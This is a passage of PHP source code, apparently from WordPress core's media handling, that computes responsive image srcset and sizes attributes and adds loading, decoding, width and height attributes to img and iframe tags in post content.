function wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id = 0 ) {
	/**
	 * Pre-filters the image meta to be able to fix inconsistencies in the stored data.
	 *
	 * @since 4.5.0
	 *
	 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int[]  $size_array    {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param string $image_src     The 'src' of the image.
	 * @param int    $attachment_id The image attachment ID or 0 if not supplied.
	 */
	$image_meta = apply_filters( 'wp_calculate_image_srcset_meta', $image_meta, $size_array, $image_src, $attachment_id );

	if ( empty( $image_meta['sizes'] ) || ! isset( $image_meta['file'] ) || strlen( $image_meta['file'] ) < 4 ) {
		return false;
	}

	$image_sizes = $image_meta['sizes'];

	// Get the width and height of the image.
	$image_width  = (int) $size_array[0];
	$image_height = (int) $size_array[1];

	// Bail early if error/no width.
	if ( $image_width < 1 ) {
		return false;
	}

	$image_basename = wp_basename( $image_meta['file'] );

	/*
	 * WordPress flattens animated GIFs into one frame when generating intermediate sizes.
	 * To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated.
	 * If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated.
	 */
	if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) {
		$image_sizes[] = array(
			'width'  => $image_meta['width'],
			'height' => $image_meta['height'],
			'file'   => $image_basename,
		);
	} elseif ( str_contains( $image_src, $image_meta['file'] ) ) {
		return false;
	}

	// Retrieve the uploads sub-directory from the full size image.
	$dirname = _wp_get_attachment_relative_path( $image_meta['file'] );

	if ( $dirname ) {
		$dirname = trailingslashit( $dirname );
	}

	$upload_dir    = wp_get_upload_dir();
	$image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname;

	/*
	 * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain
	 * (which is to say, when they share the domain name of the current request).
	 */
	if ( is_ssl() && ! str_starts_with( $image_baseurl, 'https' ) ) {
		/*
		 * Since the `Host:` header might contain a port, it should
		 * be compared against the image URL using the same port.
		 */
		$parsed = parse_url( $image_baseurl );
		$domain = isset( $parsed['host'] ) ? $parsed['host'] : '';

		if ( isset( $parsed['port'] ) ) {
			$domain .= ':' . $parsed['port'];
		}

		if ( $_SERVER['HTTP_HOST'] === $domain ) {
			$image_baseurl = set_url_scheme( $image_baseurl, 'https' );
		}
	}

	/*
	 * Images that have been edited in WordPress after being uploaded will
	 * contain a unique hash. Look for that hash and use it later to filter
	 * out images that are leftovers from previous versions.
	 */
	$image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash );

	/**
	 * Filters the maximum image width to be included in a 'srcset' attribute.
	 *
	 * @since 4.4.0
	 *
	 * @param int   $max_width  The maximum image width to be included in the 'srcset'. Default '2048'.
	 * @param int[] $size_array {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 */
	$max_srcset_image_width = apply_filters( 'max_srcset_image_width', 2048, $size_array );

	// Array to hold URL candidates.
	$sources = array();

	/**
	 * To make sure the ID matches our image src, we will check to see if any sizes in our attachment
	 * meta match our $image_src. If no matches are found we don't return a srcset to avoid serving
	 * an incorrect image. See #35045.
	 */
	$src_matched = false;

	/*
	 * Loop through available images. Only use images that are resized
	 * versions of the same edit.
	 */
	foreach ( $image_sizes as $image ) {
		$is_src = false;

		// Check if image meta isn't corrupted.
		if ( ! is_array( $image ) ) {
			continue;
		}

		// If the file name is part of the `src`, we've confirmed a match.
		if ( ! $src_matched && str_contains( $image_src, $dirname . $image['file'] ) ) {
			$src_matched = true;
			$is_src      = true;
		}

		// Filter out images that are from previous edits.
		if ( $image_edited && ! strpos( $image['file'], $image_edit_hash[0] ) ) {
			continue;
		}

		/*
		 * Filters out images that are wider than '$max_srcset_image_width' unless
		 * that file is in the 'src' attribute.
		 */
		if ( $max_srcset_image_width && $image['width'] > $max_srcset_image_width && ! $is_src ) {
			continue;
		}

		// If the image dimensions are within 1px of the expected size, use it.
		if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) {
			// Add the URL, descriptor, and value to the sources array to be returned.
			$source = array(
				'url'        => $image_baseurl . $image['file'],
				'descriptor' => 'w',
				'value'      => $image['width'],
			);

			// The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030.
			if ( $is_src ) {
				$sources = array( $image['width'] => $source ) + $sources;
			} else {
				$sources[ $image['width'] ] = $source;
			}
		}
	}

	/**
	 * Filters an image's 'srcset' sources.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $sources {
	 *     One or more arrays of source data to include in the 'srcset'.
	 *
	 *     @type array $width {
	 *         @type string $url        The URL of an image source.
	 *         @type string $descriptor The descriptor type used in the image candidate string,
	 *                                  either 'w' or 'x'.
	 *         @type int    $value      The source width if paired with a 'w' descriptor, or a
	 *                                  pixel density value if paired with an 'x' descriptor.
	 *     }
	 * }
	 * @param array $size_array     {
	 *     An array of requested width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param string $image_src     The 'src' of the image.
	 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int    $attachment_id Image attachment ID or 0.
	 */
	$sources = apply_filters( 'wp_calculate_image_srcset', $sources, $size_array, $image_src, $image_meta, $attachment_id );

	// Only return a 'srcset' value if there is more than one source.
	if ( ! $src_matched || ! is_array( $sources ) || count( $sources ) < 2 ) {
		return false;
	}

	$srcset = '';

	foreach ( $sources as $source ) {
		$srcset .= str_replace( ' ', '%20', $source['url'] ) . ' ' . $source['value'] . $source['descriptor'] . ', ';
	}

	return rtrim( $srcset, ', ' );
}

/**
 * Retrieves the value for an image attachment's 'sizes' attribute.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_sizes()
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'medium'.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */
function wp_get_attachment_image_sizes( $attachment_id, $size = 'medium', $image_meta = null ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size );

	if ( ! $image ) {
		return false;
	}

	if ( ! is_array( $image_meta ) ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
	}

	$image_src  = $image[0];
	$size_array = array(
		absint( $image[1] ),
		absint( $image[2] ),
	);

	return wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id );
}

/**
 * Creates a 'sizes' attribute value for an image.
 *
 * @since 4.4.0
 *
 * @param string|int[] $size          Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order).
 * @param string|null  $image_src     Optional. The URL to the image file. Default null.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @param int          $attachment_id Optional. Image attachment ID. Either `$image_meta` or `$attachment_id`
 *                                    is needed when using the image size name as argument for `$size`. Default 0.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */
function wp_calculate_image_sizes( $size, $image_src = null, $image_meta = null, $attachment_id = 0 ) {
	$width = 0;

	if ( is_array( $size ) ) {
		$width = absint( $size[0] );
	} elseif ( is_string( $size ) ) {
		if ( ! $image_meta && $attachment_id ) {
			$image_meta = wp_get_attachment_metadata( $attachment_id );
		}

		if ( is_array( $image_meta ) ) {
			$size_array = _wp_get_image_size_from_meta( $size, $image_meta );
			if ( $size_array ) {
				$width = absint( $size_array[0] );
			}
		}
	}

	if ( ! $width ) {
		return false;
	}

	// Setup the default 'sizes' attribute.
	$sizes = sprintf( '(max-width: %1$dpx) 100vw, %1$dpx', $width );

	/**
	 * Filters the output of 'wp_calculate_image_sizes()'.
	 *
	 * @since 4.4.0
	 *
	 * @param string       $sizes         A source size value for use in a 'sizes' attribute.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 * @param string|null  $image_src     The URL to the image file or null.
	 * @param array|null   $image_meta    The image meta data as returned by wp_get_attachment_metadata() or null.
	 * @param int          $attachment_id Image attachment ID of the original image or 0.
	 */
	return apply_filters( 'wp_calculate_image_sizes', $sizes, $size, $image_src, $image_meta, $attachment_id );
}

/**
 * Determines if the image meta data is for the image source file.
 *
 * The image meta data is retrieved by attachment post ID. In some cases the post IDs may change.
 * For example when the website is exported and imported at another website. Then the
 * attachment post IDs that are in post_content for the exported website may not match
 * the same attachments at the new website.
 *
 * @since 5.5.0
 *
 * @param string $image_location The full path or URI to the image file.
 * @param array  $image_meta     The attachment meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id  Optional. The image attachment ID. Default 0.
 * @return bool Whether the image meta is for this image file.
 */
function wp_image_file_matches_image_meta( $image_location, $image_meta, $attachment_id = 0 ) {
	$match = false;

	// Ensure the $image_meta is valid.
	if ( isset( $image_meta['file'] ) && strlen( $image_meta['file'] ) > 4 ) {
		// Remove query args in image URI.
		list( $image_location ) = explode( '?', $image_location );

		// Check if the relative image path from the image meta is at the end of $image_location.
		if ( strrpos( $image_location, $image_meta['file'] ) === strlen( $image_location ) - strlen( $image_meta['file'] ) ) {
			$match = true;
		} else {
			// Retrieve the uploads sub-directory from the full size image.
			$dirname = _wp_get_attachment_relative_path( $image_meta['file'] );

			if ( $dirname ) {
				$dirname = trailingslashit( $dirname );
			}

			if ( ! empty( $image_meta['original_image'] ) ) {
				$relative_path = $dirname . $image_meta['original_image'];

				if ( strrpos( $image_location, $relative_path ) === strlen( $image_location ) - strlen( $relative_path ) ) {
					$match = true;
				}
			}

			if ( ! $match && ! empty( $image_meta['sizes'] ) ) {
				foreach ( $image_meta['sizes'] as $image_size_data ) {
					$relative_path = $dirname . $image_size_data['file'];

					if ( strrpos( $image_location, $relative_path ) === strlen( $image_location ) - strlen( $relative_path ) ) {
						$match = true;
						break;
					}
				}
			}
		}
	}

	/**
	 * Filters whether an image path or URI matches image meta.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $match          Whether the image relative path from the image meta
	 *                               matches the end of the URI or path to the image file.
	 * @param string $image_location Full path or URI to the tested image file.
	 * @param array  $image_meta     The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int    $attachment_id  The image attachment ID or 0 if not supplied.
	 */
	return apply_filters( 'wp_image_file_matches_image_meta', $match, $image_location, $image_meta, $attachment_id );
}

/**
 * Determines an image's width and height dimensions based on the source file.
 *
 * @since 5.5.0
 *
 * @param string $image_src     The image source file.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Optional. The image attachment ID. Default 0.
 * @return array|false Array with first element being the width and second element being the height,
 *                     or false if dimensions cannot be determined.
 */
function wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id = 0 ) {
	$dimensions = false;

	// Is it a full size image?
	if (
		isset( $image_meta['file'] ) &&
		str_contains( $image_src, wp_basename( $image_meta['file'] ) )
	) {
		$dimensions = array(
			(int) $image_meta['width'],
			(int) $image_meta['height'],
		);
	}

	if ( ! $dimensions && ! empty( $image_meta['sizes'] ) ) {
		$src_filename = wp_basename( $image_src );

		foreach ( $image_meta['sizes'] as $image_size_data ) {
			if ( $src_filename === $image_size_data['file'] ) {
				$dimensions = array(
					(int) $image_size_data['width'],
					(int) $image_size_data['height'],
				);

				break;
			}
		}
	}

	/**
	 * Filters the 'wp_image_src_get_dimensions' value.
	 *
	 * @since 5.7.0
	 *
	 * @param array|false $dimensions    Array with first element being the width
	 *                                   and second element being the height, or
	 *                                   false if dimensions could not be determined.
	 * @param string      $image_src     The image source file.
	 * @param array       $image_meta    The image meta data as returned by
	 *                                   'wp_get_attachment_metadata()'.
	 * @param int         $attachment_id The image attachment ID. Default 0.
	 */
	return apply_filters( 'wp_image_src_get_dimensions', $dimensions, $image_src, $image_meta, $attachment_id );
}

/**
 * Adds 'srcset' and 'sizes' attributes to an existing 'img' element.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_srcset()
 * @see wp_calculate_image_sizes()
 *
 * @param string $image         An HTML 'img' element to be filtered.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'srcset' and 'sizes' attributes added.
 */
function wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id ) {
	// Ensure the image meta exists.
	if ( empty( $image_meta['sizes'] ) ) {
		return $image;
	}

	$image_src         = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : '';
	list( $image_src ) = explode( '?', $image_src );

	// Return early if we couldn't get the image source.
	if ( ! $image_src ) {
		return $image;
	}

	// Bail early if an image has been inserted and later edited.
	if ( preg_match( '/-e[0-9]{13}/', $image_meta['file'], $img_edit_hash )
		&& ! str_contains( wp_basename( $image_src ), $img_edit_hash[0] )
	) {
		return $image;
	}

	$width  = preg_match( '/ width="([0-9]+)"/', $image, $match_width ) ? (int) $match_width[1] : 0;
	$height = preg_match( '/ height="([0-9]+)"/', $image, $match_height ) ? (int) $match_height[1] : 0;

	if ( $width && $height ) {
		$size_array = array( $width, $height );
	} else {
		$size_array = wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id );
		if ( ! $size_array ) {
			return $image;
		}
	}

	$srcset = wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id );

	if ( $srcset ) {
		// Check if there is already a 'sizes' attribute.
		$sizes = strpos( $image, ' sizes=' );

		if ( ! $sizes ) {
			$sizes = wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id );
		}
	}

	if ( $srcset && $sizes ) {
		// Format the 'srcset' and 'sizes' string and escape attributes.
		$attr = sprintf( ' srcset="%s"', esc_attr( $srcset ) );

		if ( is_string( $sizes ) ) {
			$attr .= sprintf( ' sizes="%s"', esc_attr( $sizes ) );
		}

		// Add the srcset and sizes attributes to the image markup.
		return preg_replace( '/<img ([^>]+?)[\/ ]*>/', '<img $1' . $attr . ' />', $image );
	}

	return $image;
}

/**
 * Determines whether to add the `loading` attribute to the specified tag in the specified context.
 *
 * @since 5.5.0
 * @since 5.7.0 Now returns `true` by default for `iframe` tags.
 *
 * @param string $tag_name The tag name.
 * @param string $context  Additional context, like the current filter name
 *                         or the function name from where this was called.
 * @return bool Whether to add the attribute.
 */
function wp_lazy_loading_enabled( $tag_name, $context ) {
	/*
	 * By default add to all 'img' and 'iframe' tags.
	 * See https://html.spec.whatwg.org/multipage/embedded-content.html#attr-img-loading
	 * See https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-loading
	 */
	$default = ( 'img' === $tag_name || 'iframe' === $tag_name );

	/**
	 * Filters whether to add the `loading` attribute to the specified tag in the specified context.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $default  Default value.
	 * @param string $tag_name The tag name.
	 * @param string $context  Additional context, like the current filter name
	 *                         or the function name from where this was called.
	 */
	return (bool) apply_filters( 'wp_lazy_loading_enabled', $default, $tag_name, $context );
}

/**
 * Filters specific tags in post content and modifies their markup.
 *
 * Modifies HTML tags in post content to include new browser and HTML technologies
 * that may not have existed at the time of post creation. These modifications currently
 * include adding `srcset`, `sizes`, and `loading` attributes to `img` HTML tags, as well
 * as adding `loading` attributes to `iframe` HTML tags.
 * Future similar optimizations should be added/expected here.
 *
 * @since 5.5.0
 * @since 5.7.0 Now supports adding `loading` attributes to `iframe` tags.
 *
 * @see wp_img_tag_add_width_and_height_attr()
 * @see wp_img_tag_add_srcset_and_sizes_attr()
 * @see wp_img_tag_add_loading_optimization_attrs()
 * @see wp_iframe_tag_add_loading_attr()
 *
 * @param string $content The HTML content to be filtered.
 * @param string $context Optional. Additional context to pass to the filters.
 *                        Defaults to `current_filter()` when not set.
 * @return string Converted content with images modified.
 */
function wp_filter_content_tags( $content, $context = null ) {
	if ( null === $context ) {
		$context = current_filter();
	}

	$add_iframe_loading_attr = wp_lazy_loading_enabled( 'iframe', $context );

	if ( ! preg_match_all( '/<(img|iframe)\s[^>]+>/', $content, $matches, PREG_SET_ORDER ) ) {
		return $content;
	}

	// List of the unique `img` tags found in $content.
	$images = array();

	// List of the unique `iframe` tags found in $content.
	$iframes = array();

	foreach ( $matches as $match ) {
		list( $tag, $tag_name ) = $match;

		switch ( $tag_name ) {
			case 'img':
				if ( preg_match( '/wp-image-([0-9]+)/i', $tag, $class_id ) ) {
					$attachment_id = absint( $class_id[1] );

					if ( $attachment_id ) {
						/*
						 * If exactly the same image tag is used more than once, overwrite it.
						 * All identical tags will be replaced later with 'str_replace()'.
						 */
						$images[ $tag ] = $attachment_id;
						break;
					}
				}
				$images[ $tag ] = 0;
				break;
			case 'iframe':
				$iframes[ $tag ] = 0;
				break;
		}
	}

	// Reduce the array to unique attachment IDs.
	$attachment_ids = array_unique( array_filter( array_values( $images ) ) );

	if ( count( $attachment_ids ) > 1 ) {
		/*
		 * Warm the object cache with post and meta information for all found
		 * images to avoid making individual database calls.
		 */
		_prime_post_caches( $attachment_ids, false, true );
	}

	// Iterate through the matches in order of occurrence as it is relevant for whether or not to lazy-load.
	foreach ( $matches as $match ) {
		// Filter an image match.
		if ( isset( $images[ $match[0] ] ) ) {
			$filtered_image = $match[0];
			$attachment_id  = $images[ $match[0] ];

			// Add 'width' and 'height' attributes if applicable.
			if ( $attachment_id > 0 && ! str_contains( $filtered_image, ' width=' ) && ! str_contains( $filtered_image, ' height=' ) ) {
				$filtered_image = wp_img_tag_add_width_and_height_attr( $filtered_image, $context, $attachment_id );
			}

			// Add 'srcset' and 'sizes' attributes if applicable.
			if ( $attachment_id > 0 && ! str_contains( $filtered_image, ' srcset=' ) ) {
				$filtered_image = wp_img_tag_add_srcset_and_sizes_attr( $filtered_image, $context, $attachment_id );
			}

			// Add loading optimization attributes if applicable.
			$filtered_image = wp_img_tag_add_loading_optimization_attrs( $filtered_image, $context );

			// Adds 'auto' to the sizes attribute if applicable.
			$filtered_image = wp_img_tag_add_auto_sizes( $filtered_image );

			/**
			 * Filters an img tag within the content for a given context.
			 *
			 * @since 6.0.0
			 *
			 * @param string $filtered_image Full img tag with attributes that will replace the source img tag.
			 * @param string $context        Additional context, like the current filter name or the function name from where this was called.
			 * @param int    $attachment_id  The image attachment ID. May be 0 in case the image is not an attachment.
			 */
			$filtered_image = apply_filters( 'wp_content_img_tag', $filtered_image, $context, $attachment_id );

			if ( $filtered_image !== $match[0] ) {
				$content = str_replace( $match[0], $filtered_image, $content );
			}

			/*
			 * Unset image lookup to not run the same logic again unnecessarily if the same image tag is used more than
			 * once in the same blob of content.
			 */
			unset( $images[ $match[0] ] );
		}

		// Filter an iframe match.
		if ( isset( $iframes[ $match[0] ] ) ) {
			$filtered_iframe = $match[0];

			// Add 'loading' attribute if applicable.
			if ( $add_iframe_loading_attr && ! str_contains( $filtered_iframe, ' loading=' ) ) {
				$filtered_iframe = wp_iframe_tag_add_loading_attr( $filtered_iframe, $context );
			}

			if ( $filtered_iframe !== $match[0] ) {
				$content = str_replace( $match[0], $filtered_iframe, $content );
			}

			/*
			 * Unset iframe lookup to not run the same logic again unnecessarily if the same iframe tag is used more
			 * than once in the same blob of content.
			 */
			unset( $iframes[ $match[0] ] );
		}
	}

	return $content;
}

/**
 * Adds 'auto' to the sizes attribute to the image, if the image is lazy loaded and does not already include it.
 *
 * @since 6.7.0
 *
 * @param string $image The image tag markup being filtered.
 * @return string The filtered image tag markup.
 */
function wp_img_tag_add_auto_sizes( string $image ): string {
	/**
	 * Filters whether auto-sizes for lazy loaded images is enabled.
	 *
	 * @since 6.7.1
	 *
	 * @param boolean $enabled Whether auto-sizes for lazy loaded images is enabled.
	 */
	if ( ! apply_filters( 'wp_img_tag_add_auto_sizes', true ) ) {
		return $image;
	}

	$processor = new WP_HTML_Tag_Processor( $image );

	// Bail if there is no IMG tag.
	if ( ! $processor->next_tag( array( 'tag_name' => 'IMG' ) ) ) {
		return $image;
	}

	// Bail early if the image is not lazy-loaded.
	$loading = $processor->get_attribute( 'loading' );
	if ( ! is_string( $loading ) || 'lazy' !== strtolower( trim( $loading, " \t\f\r\n" ) ) ) {
		return $image;
	}

	/*
	 * Bail early if the image doesn't have a width attribute.
	 * Per WordPress Core itself, lazy-loaded images should always have a width attribute.
	 * However, it is possible that lazy-loading could be added by a plugin, where we don't have that guarantee.
	 * As such, it still makes sense to ensure presence of a width attribute here in order to use `sizes=auto`.
	 */
	$width = $processor->get_attribute( 'width' );
	if ( ! is_string( $width ) || '' === $width ) {
		return $image;
	}

	$sizes = $processor->get_attribute( 'sizes' );

	// Bail early if the image is not responsive.
	if ( ! is_string( $sizes ) ) {
		return $image;
	}

	// Don't add 'auto' to the sizes attribute if it already exists.
	if ( wp_sizes_attribute_includes_valid_auto( $sizes ) ) {
		return $image;
	}

	$processor->set_attribute( 'sizes', "auto, $sizes" );
	return $processor->get_updated_html();
}

/**
 * Checks whether the given 'sizes' attribute includes the 'auto' keyword as the first item in the list.
 *
 * Per the HTML spec, if present it must be the first entry.
 *
 * @since 6.7.0
 *
 * @param string $sizes_attr The 'sizes' attribute value.
 * @return bool True if the 'auto' keyword is present, false otherwise.
 */
function wp_sizes_attribute_includes_valid_auto( string $sizes_attr ): bool {
	list( $first_size ) = explode( ',', $sizes_attr, 2 );
	return 'auto' === strtolower( trim( $first_size, " \t\f\r\n" ) );
}

/**
 * Prints a CSS rule to fix potential visual issues with images using `sizes=auto`.
 *
 * This rule overrides the similar rule in the default user agent stylesheet, to avoid images that use e.g.
 * `width: auto` or `width: fit-content` to appear smaller.
 *
 * @since 6.7.1
 * @see https://html.spec.whatwg.org/multipage/rendering.html#img-contain-size
 * @see https://core.trac.wordpress.org/ticket/62413
 */
function wp_print_auto_sizes_contain_css_fix() {
	/** This filter is documented in wp-includes/media.php */
	$add_auto_sizes = apply_filters( 'wp_img_tag_add_auto_sizes', true );
	if ( ! $add_auto_sizes ) {
		return;
	}

	?>
	<style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>
	<?php
}

/**
 * Adds optimization attributes to an `img` HTML tag.
 *
 * @since 6.3.0
 *
 * @param string $image   The HTML `img` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `img` tag with optimization attributes added.
 */
function wp_img_tag_add_loading_optimization_attrs( $image, $context ) {
	$src               = preg_match( '/ src=["\']?([^"\']*)/i', $image, $matche_src ) ? $matche_src[1] : null;
	$width             = preg_match( '/ width=["\']([0-9]+)["\']/', $image, $match_width ) ? (int) $match_width[1] : null;
	$height            = preg_match( '/ height=["\']([0-9]+)["\']/', $image, $match_height ) ? (int) $match_height[1] : null;
	$loading_val       = preg_match( '/ loading=["\']([A-Za-z]+)["\']/', $image, $match_loading ) ? $match_loading[1] : null;
	$fetchpriority_val = preg_match( '/ fetchpriority=["\']([A-Za-z]+)["\']/', $image, $match_fetchpriority ) ? $match_fetchpriority[1] : null;
	$decoding_val      = preg_match( '/ decoding=["\']([A-Za-z]+)["\']/', $image, $match_decoding ) ? $match_decoding[1] : null;

	/*
	 * Get loading optimization attributes to use.
	 * This must occur before the conditional check below so that even images
	 * that are ineligible for being lazy-loaded are considered.
	 */
	$optimization_attrs = wp_get_loading_optimization_attributes(
		'img',
		array(
			'src'           => $src,
			'width'         => $width,
			'height'        => $height,
			'loading'       => $loading_val,
			'fetchpriority' => $fetchpriority_val,
			'decoding'      => $decoding_val,
		),
		$context
	);

	// Images should have source for the loading optimization attributes to be added.
	if ( ! str_contains( $image, ' src="' ) ) {
		return $image;
	}

	if ( empty( $decoding_val ) ) {
		/**
		 * Filters the `decoding` attribute value to add to an image. Default `async`.
		 *
		 * Returning a falsey value will omit the attribute.
		 *
		 * @since 6.1.0
		 *
		 * @param string|false|null $value      The `decoding` attribute value. Returning a falsey value
		 *                                      will result in the attribute being omitted for the image.
		 *                                      Otherwise, it may be: 'async', 'sync', or 'auto'. Defaults to false.
		 * @param string            $image      The HTML `img` tag to be filtered.
		 * @param string            $context    Additional context about how the function was called
		 *                                      or where the img tag is.
		 */
		$filtered_decoding_attr = apply_filters(
			'wp_img_tag_add_decoding_attr',
			isset( $optimization_attrs['decoding'] ) ? $optimization_attrs['decoding'] : false,
			$image,
			$context
		);

		// Validate the values after filtering.
		if ( isset( $optimization_attrs['decoding'] ) && ! $filtered_decoding_attr ) {
			// Unset `decoding` attribute if `$filtered_decoding_attr` is set to `false`.
			unset( $optimization_attrs['decoding'] );
		} elseif ( in_array( $filtered_decoding_attr, array( 'async', 'sync', 'auto' ), true ) ) {
			$optimization_attrs['decoding'] = $filtered_decoding_attr;
		}

		if ( ! empty( $optimization_attrs['decoding'] ) ) {
			$image = str_replace( '<img', '<img decoding="' . esc_attr( $optimization_attrs['decoding'] ) . '"', $image );
		}
	}

	// Images should have dimension attributes for the 'loading' and 'fetchpriority' attributes to be added.
	if ( ! str_contains( $image, ' width="' ) || ! str_contains( $image, ' height="' ) ) {
		return $image;
	}

	// Retained for backward compatibility.
	$loading_attrs_enabled = wp_lazy_loading_enabled( 'img', $context );

	if ( empty( $loading_val ) && $loading_attrs_enabled ) {
		/**
		 * Filters the `loading` attribute value to add to an image. Default `lazy`.
		 *
		 * Returning `false` or an empty string will not add the attribute.
		 * Returning `true` will add the default value.
		 *
		 * @since 5.5.0
		 *
		 * @param string|bool $value   The `loading` attribute value. Returning a falsey value will result in
		 *                             the attribute being omitted for the image.
		 * @param string      $image   The HTML `img` tag to be filtered.
		 * @param string      $context Additional context about how the function was called or where the img tag is.
		 */
		$filtered_loading_attr = apply_filters(
			'wp_img_tag_add_loading_attr',
			isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false,
			$image,
			$context
		);

		// Validate the values after filtering.
		if ( isset( $optimization_attrs['loading'] ) && ! $filtered_loading_attr ) {
			// Unset `loading` attributes if `$filtered_loading_attr` is set to `false`.
			unset( $optimization_attrs['loading'] );
		} elseif ( in_array( $filtered_loading_attr, array( 'lazy', 'eager' ), true ) ) {
			/*
			 * If the filter changed the loading attribute to "lazy" when a fetchpriority attribute
			 * with value "high" is already present, trigger a warning since those two attribute
			 * values should be mutually exclusive.
			 *
			 * The same warning is present in `wp_get_loading_optimization_attributes()`, and here it
			 * is only intended for the specific scenario where the above filtered caused the problem.
			 */
			if ( isset( $optimization_attrs['fetchpriority'] ) && 'high' === $optimization_attrs['fetchpriority'] &&
				( isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false ) !== $filtered_loading_attr &&
				'lazy' === $filtered_loading_attr
			) {
				_doing_it_wrong(
					__FUNCTION__,
					__( 'An image should not be lazy-loaded and marked as high priority at the same time.' ),
					'6.3.0'
				);
			}

			// The filtered value will still be respected.
			$optimization_attrs['loading'] = $filtered_loading_attr;
		}

		if ( ! empty( $optimization_attrs['loading'] ) ) {
			$image = str_replace( '<img', '<img loading="' . esc_attr( $optimization_attrs['loading'] ) . '"', $image );
		}
	}

	if ( empty( $fetchpriority_val ) && ! empty( $optimization_attrs['fetchpriority'] ) ) {
		$image = str_replace( '<img', '<img fetchpriority="' . esc_attr( $optimization_attrs['fetchpriority'] ) . '"', $image );
	}

	return $image;
}

/**
 * Adds `width` and `height` attributes to an `img` HTML tag.
 *
 * @since 5.5.0
 *
 * @param string $image         The HTML `img` tag where the attribute should be added.
 * @param string $context       Additional context to pass to the filters.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'width' and 'height' attributes added.
 */
function wp_img_tag_add_width_and_height_attr( $image, $context, $attachment_id ) {
	$image_src         = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : '';
	list( $image_src ) = explode( '?', $image_src );

	// Return early if we couldn't get the image source.
	if ( ! $image_src ) {
		return $image;
	}

	/**
	 * Filters whether to add the missing `width` and `height` HTML attributes to the img tag. Default `true`.
	 *
	 * Returning anything else than `true` will not add the attributes.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $value         The filtered value, defaults to `true`.
	 * @param string $image         The HTML `img` tag where the attribute should be added.
	 * @param string $context       Additional context about how the function was called or where the img tag is.
	 * @param int    $attachment_id The image attachment ID.
	 */
	$add = apply_filters( 'wp_img_tag_add_width_and_height_attr', true, $image, $context, $attachment_id );

	if ( true === $add ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
		$size_array = wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id );

		if ( $size_array && $size_array[0] && $size_array[1] ) {
			// If the width is enforced through style (e.g. in an inline image), calculate the dimension attributes.
			$style_width = preg_match( '/style="width:\s*(\d+)px;"/', $image, $match_width ) ? (int) $match_width[1] : 0;
			if ( $style_width ) {
				$size_array[1] = (int) round( $size_array[1] * $style_width / $size_array[0] );
				$size_array[0] = $style_width;
			}

			$hw = trim( image_hwstring( $size_array[0], $size_array[1] ) );
			return str_replace( '<img', "<img {$hw}", $image );
		}
	}

	return $image;
}

/**
 * Adds `srcset` and `sizes` attributes to an existing `img` HTML tag.
 *
 * @since 5.5.0
 *
 * @param string $image         The HTML `img` tag where the attribute should be added.
 * @param string $context       Additional context to pass to the filters.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'loading' attribute added.
 */
function wp_img_tag_add_srcset_and_sizes_attr( $image, $context, $attachment_id ) {
	/**
	 * Filters whether to add the `srcset` and `sizes` HTML attributes to the img tag. Default `true`.
	 *
